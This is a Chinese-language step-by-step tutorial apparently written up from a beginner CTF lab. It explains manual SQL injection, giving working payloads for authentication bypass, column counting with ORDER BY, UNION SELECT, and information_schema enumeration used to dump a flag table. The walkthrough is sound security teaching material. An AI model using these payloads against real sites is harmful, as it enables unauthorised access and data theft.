超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门
知识盒子
简单的SQL注入题目,可以用来入门练习,体验一下实训
老套的题目:提取网站数据库中存储的数据(flag)
打开网页
首先嘛,实验一下网站的功能
简单查询功能
正常操作一下 输入相应提示1
得到正确的反馈信息
错误操作一下
错误的反馈信息
右键查看网页源代码,看有么有可用信息
这里,可以得到最有可能查询的字段名称
让我们试试推理一下网站最有可能的SQL语句
条件查询语句
select 相应字段不清楚 from 表不清楚 where name=‘输入的信息’;
可知大概可能的固定结构,并推测出注入点(输入的信息)
以上信息收集完毕,开始注入测试
手注流程
第一步,判断是否能够注入(哪些信息会被屏蔽,推理出网页安全的屏蔽等级) 注入测试代码
1’ or ‘1’=’1’ #;
注释符介绍(
#,-- (后面有空格),/**/三种,都可以用于注释后面的代码,来改写SQL语句,不同场景用的注释符不同
– (后面有空格)优先推荐,在SQL语句中表示注释,在URL中后面的空格会被URL编译成+,最后变成 --+,但注释功能没问题。
#,在SQL语句中没问题,但是在URL中#号代表html页面中的锚点,经过URL编译后会消失,直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了,在前端注释符使用url编码,传输过程中把url编码带上,到后端就会进行一次url解码操作,#号注释符起作用。
内联注释/**/,需要一前一后闭合,如果空格被过滤,用/**/代替空格
)
1’ or 1=1 #;
解释
假设此网站的SQL是这样的
select * from stu where name=‘1’ or 1 = 1 # ’;
蓝色为输入的信息,#会注释掉后面的所有信息,而前面输入1’会与前固定的‘形成闭合
同样适用于账号密码的注入
例
Select * from mimi where user=‘’or 1 = 1 #’ and password=‘’;
结果为真,直接跳过登入,密码的输入会被注释
or的特性,左右只要有一真则返回真
小补充where的特性,如果where后面不是一个查询条件,而是一个真和假的布尔常量
Where 后面结果为单纯的真值,执行前面的语句
例:where ‘ss’='ss’结果返回真 执行select * from student语句
同理
为假则无数据
跑题了,继续测试
1’or 1=1 #(结果为真的情况)
1’or 1=2 #(结果为假的情况)
主要用于测试注入点的屏蔽程度,和注入时返回的信息对比
测试结果:无屏蔽,安全程度弱的鸭皮,题:入门级
二,判断字段长度(为使用union做铺垫)
Union联合查询特性 前后查询的字段数必须一致
咱们不知道字段数呀,就用order by开始测试
1’order by 1 #
Select 未知 from 未知 where name=‘1’order by 1 #’
让我们介绍一下order by
主要是用于以列(字段)为主的排序
例
stu表中num,name字段
正常用法
以num字段为主排序查询结果 order by num
以name字段为主排序查询结果 order by name
非正常用法,当不知道字段名时可以用数字代替
num为主 order by 1
Name为主 order by 2
所以在SQL注入时,咱们可以用来猜字段名
出现错误信息结束,可判断字段数等于报错之前的数 stu表的字段数为2
回到题中
1’order by 1 #
注意,这时候前面咱们收集的信息就有用处了,当我们输入错误信息后有时候并不会报错
当咱们得到正确的反馈信息时,会这样
错误的反馈信息会这样(没有报错,但查询无结果,网页制作的太粗糙了)
开始测试(慢慢来嘛,一个一个试应该不会太多,不然设计的太不河里了)
正确的反馈 字段数+1
正确加一…其中经历了3,4,5都一样这里就省略了
当第六次的时候
错误信息终于出现了 Unknown column ‘6’ in ‘order clause’
简单的说就是找不到编号为六的字段
所以得出固定SQL语句查询的共有5个字段,union终于可以用了
第三步,使用union爆出想要的信息
1.爆数据库
这里解释一下为什么非要用union呢?
先说一下什么是union
Union联合查询
例子:如果我数据库中有两个表,但是,我懒啊,我不想输入两次查询代码。那就输入一行呗!
例
两个表stu student
Union的使用(要打的字,比分开查询,多五个字母,亏了亏了呀)
注意union前后查询的表字段数必须是一样的不然报错
为什么要用union呢?
就拿这题举例子吧
在开始的时候咱们推测了网页PHP最有可能使用的SQL语句
select * from stu where name=‘可以 自己操作的部分 ’;
上句所有黑色字体对咱们来说是不可见的,不可操作的,咱们只能对蓝色部分进行操作
它固定了我们只能输入某个固定的表中的固定字段中的数据值
可是我想要的信息在别的表中呢?
那我该如何查询?
如果我直接输入
比如查询表stu中的数据 select * from stu;
select 未知 from 未知 where name=‘select * from stu;’;
SQL语句明显出现了问题,根本不可能执行成功
所以就需要用union
输入’union select * from stu; #
select 未知 from 未知 where name=‘’union select 1,2,3,4,5 from stu; #’
回到题中
经过上一步咱知道字段数,union的查询就可以使用了
那该用union查询什么呢?
咱们最终的目的是找到flag
这个flag就是某个数据库中某个表里的字段中是值呀
但是我不知道数据库,也不知道表的名字是啥呀?
这里引入一个MySQL的函数database()
select database();查询当前使用的数据库
例 当前使用test数据库
结果
回到题中开始测试
先构思使用的注入语句
’union select database(),1,2,3,4; #
select 未知 from 未知 where name=‘’union select database(),1,2,3,4; #’;
Union 前后查询的字段数5必须一样
这里可以使用数字可以代替字段
例
开始测试
结果
?_? 没有想要的信息,可能因为网页没有向下滑动的功能,所以查看网页源码试试
?_? 还是没有
这里要注意一下有坑 小心
由于咱们不知道网页具体的PHP代码,不好推测database()数据返回到哪里{应该是作者比较菜的原因,并没有推测出来}
但是咱们可以看到1 2 3 4 出现了
肯定是跟查询的顺序有关系了
开始的顺序 select database(),1,2,3,4; database()消失。但是1,2,3,4还在
改写注入语句,换一下顺序,让相应的信息与1换一下
’union select 1,database(),2,3,4; #
当前数据库名字就出来了twosecu1_vuln_06
2.爆数据库中的表
有了数据库的名字,接下来就顺手看看该数据库中的表,
那如何查看twosecu1_vuln_06数据库中所有的表呢?
这里引入SQL注入重要的三个基础表,mysql自动生成的三个表
SQL注入重要的三个基础表
在数据库information_schema中schemata,tables,columns
表schemata
存储了mysql中所有的数据库信息
其中重要字段
schema_name 对应着相应数据库的名字
表tables
存储了数据库中的表的信息。详细地描述了某个表属于哪个数据库,表类型,表引擎。
其中
重要字段
table_name对应着相应表的名字
table_schema 对应着该表所属数据库的名字
表columns
详细地描述了某张表的所有的列以及每个列(字段)的信息。
其中
重要字段
column_name对应着相应字段的名字
table_name对应着相应表的名字
table_schema 对应着该表所属数据库的名字
一般应用跨库查询select * from information_schema.schemata;
跨库查询 select * from 数据库名.表名; (查询不在当前使用的数据库中的表)
回到题目
应用上面知识构建注入语句
目的:查询twosecu1_vuln_06数据库中的所有表
tables表中有所有表信息,而我们只要数据库名是twosecu1_vuln_06的表
tables表自动生成在information_schema中
而当前数据库是twosecu1_vuln_06,所以要跨表查询
tables_name字段对应相应的表名,我们只想知道有哪些表,别的信息无用
tables_schema字段对应相应的数据库,我们只要数据库名是twosecu1_vuln_06的表,也可以说使用database();
总结
select table_name from information_schema.tables where tables_schema=’twosecu1_vuln_06’;
最后套上注入前后语句和union
’ union select 1,table_name,2,3,4 from information_schema.tables where table_schema=database() #
测试
结果
由于网页无法上下滑动,查看网页源码防止错过别的信息
可知twosecu1_vuln_06数据库中有共有两个表flag,transcript
3.爆表中的字段
很显然咱们需要的信息在flag表中
查看表中的所以字段
三个表中columns表有关字段的记录
我们只要flag表的字段
Column_name字段中有相应表的字段名,别的信息不要
构造注入语句
’ union select 1,column_name,2,3,4 from information_schema.columns where table_name= ‘flag’ #
测试
结果
防止错过信息,查看网页源代码
可知flag表中有两字段id,flag
第四步,总结信息,取出数据flag
最终总结
当前数据库:twosecu1_vuln_06
数据库中的表:flag,transcript
flag表的字段:id,flag
而我们想要的flag就在
当前twosecu1_vuln_06数据库中的flag表里flag字段的数据库
最后一次构造注入语句
’union select 1,id,flag,3,4 from flag; #
测试
结果
防止错过信息查看网站源码
最后得到两半flag